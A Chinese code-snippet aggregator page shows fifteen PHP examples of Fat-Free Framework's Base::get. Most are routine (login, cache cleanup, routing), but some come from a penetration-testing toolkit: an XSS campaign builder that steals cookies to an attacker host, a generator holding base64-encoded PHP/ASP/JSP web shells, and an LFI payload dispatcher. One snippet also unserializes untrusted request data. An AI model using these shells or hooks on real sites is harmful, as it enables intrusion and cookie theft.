本文整理汇总了PHP中Base::get方法的典型用法代码示例。如果您正苦于以下问题:PHP Base::get方法的具体用法?PHP Base::get怎么用?PHP Base::get使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类Base
的用法示例。
在下文中一共展示了Base::get方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: callback
/**
* auth service callback
* @param Base $f3
* @param $params
*/
function callback(\Base $f3, $params)
{
$Opauth = new \Opauth($this->config, false);
switch ($Opauth->env['callback_transport']) {
case 'session':
$response = $f3->get('SESSION.opauth');
$f3->clear('SESSION.opauth');
break;
case 'post':
$response = unserialize(base64_decode($f3->get('POST.opauth')));
break;
case 'get':
$response = unserialize(base64_decode($f3->get('GET.opauth')));
break;
default:
$f3->error(400, 'Unsupported callback_transport');
break;
}
if (isset($response['error'])) {
$f3->call($this->abortFunc, array($response));
return;
}
$data = $response['auth'];
// validate
if (empty($data) || empty($response['timestamp']) || empty($response['signature']) || empty($data['provider']) || empty($data['uid'])) {
$f3->error(400, 'Invalid auth response: Missing key auth response components');
} elseif (!$Opauth->validate(sha1(print_r($data, true)), $response['timestamp'], $response['signature'], $reason)) {
$f3->error(400, 'Invalid auth response: ' . $reason);
} else {
// It's all good
$f3->call($this->successFunc, array($data));
}
}
示例2: copy
/**
* @param \Base $f3
* Description This function will be used to create the necessary script needed to hook a page.
*/
function create_campaign(\Base $f3)
{
$web = \Web::instance();
$this->response->data['SUBPART'] = 'xssrc_campaign.html';
if ($f3->get('VERB') == 'POST') {
$error = false;
if ($f3->devoid('POST.targetUrl')) {
$error = true;
\Flash::instance()->addMessage('Please enter a Target url to test access once you steal cookies e.g. http://victim.mth3l3m3nt.com/admin', 'warning');
} else {
$target_url = $f3->get('POST.targetUrl');
$c_host = parse_url($target_url, PHP_URL_HOST);
$template_src = $f3->ROOT . $f3->BASE . '/scripts/attack_temp.mth3l3m3nt';
$campaign_file = $f3->ROOT . $f3->BASE . '/scripts/' . $c_host . '.js';
$campaign_address = $f3->SCHEME . "://" . $f3->HOST . $f3->BASE . '/scripts/' . $c_host . '.js';
$postHome = $f3->SCHEME . "://" . $f3->HOST . $f3->BASE . '/xssr';
copy($template_src, $campaign_file);
$unprepped_contents = file_get_contents($campaign_file);
$unprepped_contents = str_replace("http://attacker.mth3l3m3nt.com/xssr", $postHome, $unprepped_contents);
$unprepped_contents = str_replace("http://victim.mth3l3m3nt.com/admin/", $target_url, $unprepped_contents);
file_put_contents($campaign_file, $unprepped_contents);
$instructions = \Flash::instance()->addMessage('Attach the script to target e.g. <script src="' . $campaign_address . '"></script>', 'success');
$this->response->data['content'] = $instructions;
}
}
}
示例3: deleteExpiredData
/**
* clear expired cached files
* >> >php index.php "/cron/deleteExpiredCacheData"
* @param \Base $f3
*/
function deleteExpiredData(\Base $f3)
{
$time_start = microtime(true);
// cache dir (dir is recursively searched...)
$cacheDir = $f3->get('TEMP');
$filterTime = (int) strtotime('-' . $f3->get('PATHFINDER.CACHE.EXPIRE_MAX') . ' seconds');
$expiredFiles = Search::getFilesByMTime($cacheDir, $filterTime);
$deletedFiles = 0;
$deletedSize = 0;
$notWritableFiles = 0;
$deleteErrors = 0;
foreach ($expiredFiles as $filename => $file) {
/**
* @var $file \SplFileInfo
*/
if ($file->isWritable()) {
$tmpSize = $file->getSize();
if (unlink($file->getRealPath())) {
$deletedSize += $tmpSize;
$deletedFiles++;
} else {
$deleteErrors++;
}
} else {
$notWritableFiles++;
}
}
$execTime = microtime(true) - $time_start;
// Log ------------------------
$log = new \Log('cron_' . __FUNCTION__ . '.log');
$log->write(sprintf(self::LOG_TEXT, __FUNCTION__, $deletedFiles, $deletedSize, $notWritableFiles, $deleteErrors, $execTime));
}
示例4: shellGenerator
public function shellGenerator(\Base $f3)
{
$this->response->data['SUBPART'] = 'websaccre_shellgen.html';
$pshell = "PD9waHAgDQppZiAoaXNzZXQoJF9SRVFVRVNUWydjbWQ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YXZhLnN1bi5jb20vanNwL2pzdGwvY29yZSIgdmVyc2lvbj0iMi4wIj4NCjxqc3A6ZGlyZWN0aXZlLnBhZ2UgY29udGVudFR5cGU9InRleHQvaHRtbDtjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04Ii8";
$shell_type = $f3->get('POST.shelltype');
if ($f3->get('VERB') == 'POST') {
$error = false;
switch ($shell_type) {
case "PHP":
$this->response->data['content'] = base64_decode($pshell);
break;
case "ASP":
$this->response->data['content'] = base64_decode($ashell);
break;
case "JSP":
$this->response->data['content'] = base64_decode($jshell);
break;
case "JSPX":
$this->response->data['content'] = base64_decode($jspx);
break;
default:
$this->response->data['content'] = "Invalid Shell Type Request";
break;
}
}
}
示例5: year
public static function year(\Base $fat)
{
$year = (int) $fat->get('PARAMS.year');
if (!in_array($year, $fat->get('YEARS'))) {
$year = $fat->get('YEAR');
}
echo self::contest($year);
}
示例6: logout
/**
* GET|POST /logout
* @param \Base $fw
*/
function logout(\Base $fw)
{
if ($fw->get('COOKIE.session_token') == $fw->get('GET.session')) {
\Helper\Api\User::logout();
$fw->set('COOKIE.session_token', null);
$fw->reroute('/');
} else {
$fw->error(400);
}
}
示例7: post
/**
* POST /post.json
* Create a new post
*
* @todo Allow posting to a buddy's page
* @param \Base $fw
*/
public function post(\Base $fw)
{
$userId = self::_requireAuth();
if ($fw->get('POST.user_id') != $userId) {
\App::error(403);
}
$post = \Model\Post::create(['user_id' => $userId, 'page_id' => $fw->get('POST.user_id'), 'content' => $fw->get('POST.content')]);
$detail = \App::model('post/detail')->load($post->id);
$this->_json($detail->cast());
}
示例8: get
public function get($request)
{
if (!$request instanceof Request) {
$key = $request;
$request = new Request();
$request->setKey($key);
}
$success = $this->processing($request);
if (!$success) {
if ($this->_successor) {
$this->_successor->get($request);
}
}
return $request->getResult();
}
示例9: viewSingle
/**
* @param \Base $f3
* @param array $params
*/
public function viewSingle(\Base $f3, $params)
{
$web = \Web::instance();
$this->response->data['SUBPART'] = 'larfi_page.html';
if (isset($params['id'])) {
$this->resource->load(array('_id = ?', $params['id']));
$this->response->data['POST'] = $this->resource;
if ($this->resource->dry()) {
$f3->error(404, 'LFI Plugin not found');
} else {
$this->response->data['SUBPART'] = 'larfi_page.html';
$url = $f3->get('POST.url');
$blankurl = $f3->devoid('POST.url');
$lfi_type = $f3->get('POST.lType');
$payload = $f3->get('POST.lPayload');
$method = $f3->get('POST.lMethod');
switch ($lfi_type) {
case "Generic":
\Flash::instance()->addMessage('Exploited by injecting into the URL/Body where applicable', 'info');
return $this->uri_based_lfi($method, $blankurl, $url, $payload);
break;
case "Cookie":
\Flash::instance()->addMessage('Exploited by injecting into the cookie', 'info');
return $this->cookie_based_lfi($method, $blankurl, $url, $payload);
break;
default:
\Flash::instance()->addMessage('This is an invalid attack type', 'warning');
}
}
}
}
示例10: parseNode
/**
* parse node data on template compiling
* @param $node
* @return string
*/
function parseNode($node)
{
$src = false;
$params = array();
if (isset($node['@attrib'])) {
$params = $node['@attrib'];
unset($node['@attrib']);
}
// find src
if (array_key_exists('src', $params)) {
$src = $params['src'];
} elseif (array_key_exists('href', $params)) {
$src = $params['href'];
}
if ($src) {
$out = '<?php \\Assets::instance()->addNode(array(';
foreach ($params as $key => $val) {
$out .= var_export($key, true) . '=>' . (preg_match('/{{(.+?)}}/s', $val) ? $this->template->token($val) : var_export($val, true)) . ',';
}
$out .= ')); ?>';
return $out;
}
// inner content
if (isset($node[0]) && isset($params['type'])) {
if (!isset($params['group'])) {
$params['group'] = $params['type'] == 'js' ? 'footer' : 'head';
}
if ($this->f3->get('ASSETS.handle_inline')) {
return '<?php \\Assets::instance()->addInline(' . '$this->resolve(' . var_export($node, true) . ',get_defined_vars()),' . var_export($params['type'], true) . ',' . var_export($params['group'], true) . '); ?>';
} else {
// just bypass
return $this->f3->call($this->formatter[$params['type']], array(array('data' => $this->template->build($node), 'origin' => 'inline')));
}
}
}
示例11: getCanonicalURL
/**
* Obtains a SimpleID URL. URLs produced by SimpleID should use this function.
*
* @param string $path the FatFree path or alias
* @param string $query a properly encoded query string
* @param string $secure if $relative is false, either 'https' to force an HTTPS connection, 'http' to force
* an unencrypted HTTP connection, 'detect' to base on the current connection, or NULL to vary based on SIMPLEID_BASE_URL
* @return string the url
*
* @since 0.7
*/
public function getCanonicalURL($path = '', $query = '', $secure = null)
{
$config = $this->f3->get('config');
$canonical_base_path = $config['canonical_base_path'];
if (preg_match('/^(?:@(\\w+)(?:(\\(.+?)\\))*|https?:\\/\\/)/', $path, $parts)) {
if (isset($parts[1])) {
$aliases = $this->f3->get('ALIASES');
if (!empty($aliases[$parts[1]])) {
$path = $aliases[$parts[1]];
$path = $this->f3->build($path, isset($parts[2]) ? $this->f3->parse($parts[2]) : array());
$path = ltrim($path, '/');
}
}
}
// Make sure that the base has a trailing slash
if (substr($config['canonical_base_path'], -1) == '/') {
$url = $config['canonical_base_path'];
} else {
$url = $config['canonical_base_path'] . '/';
}
if ($secure == 'https' && stripos($url, 'http:') === 0) {
$url = 'https:' . substr($url, 5);
}
if ($secure == 'http' && stripos($url, 'https:') === 0) {
$url = 'http:' . substr($url, 6);
}
if ($secure == 'detect' && $this->isHttps() && stripos($url, 'http:') === 0) {
$url = 'https:' . substr($url, 5);
}
if ($secure == 'detect' && !$this->isHttps() && stripos($url, 'https:') === 0) {
$url = 'http:' . substr($url, 6);
}
$url .= $path . ($query == '' ? '' : '?' . $query);
return $url;
}
示例12: beforeroute
/**
* HTTP route pre-processor
* @param \Base $f3
*/
function beforeroute($f3)
{
if (!$this->pathSegments && $f3->get('PARAMS')[1]) {
$this->pathSegments = explode("/", $f3->get('PARAMS')[1]);
}
if (!$this->lang) {
$lang = \Services\LanguageService::instance();
if (count($this->pathSegments) > 0 && $lang->isValidLanguage($this->pathSegments[0])) {
$language = array_shift($this->pathSegments);
$this->lang = $language;
$lang->setLanguage($language);
} else {
$this->lang = $lang->detectLanguage();
$lang->setLanguage($this->lang);
}
}
}
示例13: login
/**
* POST /login
* @param \Base $fw
* @return void
*/
public function login(\Base $fw)
{
if ($this->_getUser()) {
$fw->reroute('/dashboard');
}
$username = $fw->get('POST.username');
$password = $fw->get('POST.password');
$user = new \Model\User();
$user->load(array('username = ?', $username));
if ($user->id) {
if (password_verify($password, $user->password)) {
$fw->set('SESSION.user_id', $user->id);
$fw->reroute('/dashboard');
}
}
$fw->set('error', 'Invalid username or password.');
$this->_render('index.html');
}
示例14: database
public function database(\Base $f3)
{
$this->response->data['SUBPART'] = 'settings_database.html';
$cfg = \Config::instance();
if ($f3->get('VERB') == 'POST' && $f3->exists('POST.active_db')) {
$type = $f3->get('POST.active_db');
$cfg->{'DB_' . $type} = $f3->get('POST.DB_' . $type);
$cfg->ACTIVE_DB = $type;
$cfg->save();
\Flash::instance()->addMessage('Config saved', 'success');
$setup = new \Setup();
$setup->install($type);
// logout
$f3->clear('SESSION.user_id');
}
$cfg->copyto('POST');
$f3->set('JIG_format', array('JSON', 'Serialized'));
}
示例15: profile
protected function profile(\Base $f3, $params)
{
$this->response->addTitle($f3->get('LN__AdminMenu_Profile'));
$f3->set('title_h3', $f3->get('LN__AdminMenu_Profile'));
if (isset($params[2])) {
$params = $this->parametric($params[2]);
}
if (isset($params['edit']) and is_numeric($params['edit'])) {
return TRUE;
}
// Get all available user fields
$fields = $this->model->listUserFields();
// Group array by field type
foreach ($fields as $field) {
$data[$field['field_type']][] = $field;
}
$this->buffer(\View\AdminCP::listUserFields($data));
}